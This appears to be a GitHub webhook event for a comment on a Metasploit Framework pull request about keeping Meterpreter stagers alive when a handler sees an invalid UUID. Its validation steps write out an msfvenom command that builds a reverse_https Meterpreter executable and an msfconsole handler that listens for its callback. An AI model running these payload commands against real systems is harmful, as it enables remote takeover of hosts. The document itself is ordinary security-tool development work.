{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6581","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6581/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6581/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6581/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6581","id":134046939,"number":6581,"title":"don't send a response on invalid UUID, allow stagers to survive another day","user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/in%20progress","name":"in progress","color":"ededed"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/library","name":"library","color":"fad8c7"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/payload","name":"payload","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":5,"created_at":"2016-02-16T17:38:36Z","updated_at":"2016-03-14T13:49:01Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6581","html_url":"https://github.com/rapid7/metasploit-framework/pull/6581","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6581.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6581.patch"},"body":"Currently, if we see an invalid UUID, we send a 200 OK response with no content, which promptly kills the stager. While arguably the stager should be more resilient to such a thing (well, that's what SSL verification is for I suppose), if you have a mis configuration in Metaploit, this shouldn't cause you to lose a shell either.\r\n\r\nIt's nicer to allow the stager to continue its normal retries. To do this, we simply shut down the connection if the UUID is incorrect. That causes the error handling code in stagers to work as expected. If we wanted to send something like a 404, we'd have to grow the error checking code in winhttp and others substantially, since it's not a matter of just checking return codes.\r\n\r\n# Room for future improvement\r\n\r\nIt would be nice to add a tarpit delay to a scanner, but this probably also slows down the handler processing. It would also be nice if retries in stagers didn't happen so quickly - a misconfig can make the stager spin fairly 'enthusiastically' constantly retrying if you set retry to a high number.\r\n\r\n# Validation Steps\r\n - [ ] Generate a stager payload, like so:\r\n```\r\n./msfvenom -p windows/meterpreter/reverse_https -f exe -o test.exe LHOST=192.168.56.1 StagerRetryCount=4\r\n```\r\n - [ ] Start a validating handler:\r\n```\r\n./msfconsole -qx 'use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set lhost 192.168.56.1; set IgnoreUnknownPayloads true; run'\r\n```\r\n - [ ] Observe that it retries instead of crashing on connnect\r\n\r\nWe should also check out adding more transports and verifying that the payload moves to the next one."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/196317474","html_url":"https://github.com/rapid7/metasploit-framework/pull/6581#issuecomment-196317474","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6581","id":196317474,"user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"created_at":"2016-03-14T13:49:01Z","updated_at":"2016-03-14T13:49:01Z","body":"I think we're not as interested in keeping the stagers alive, as we are in not killing existing sessions on a reconnect."}}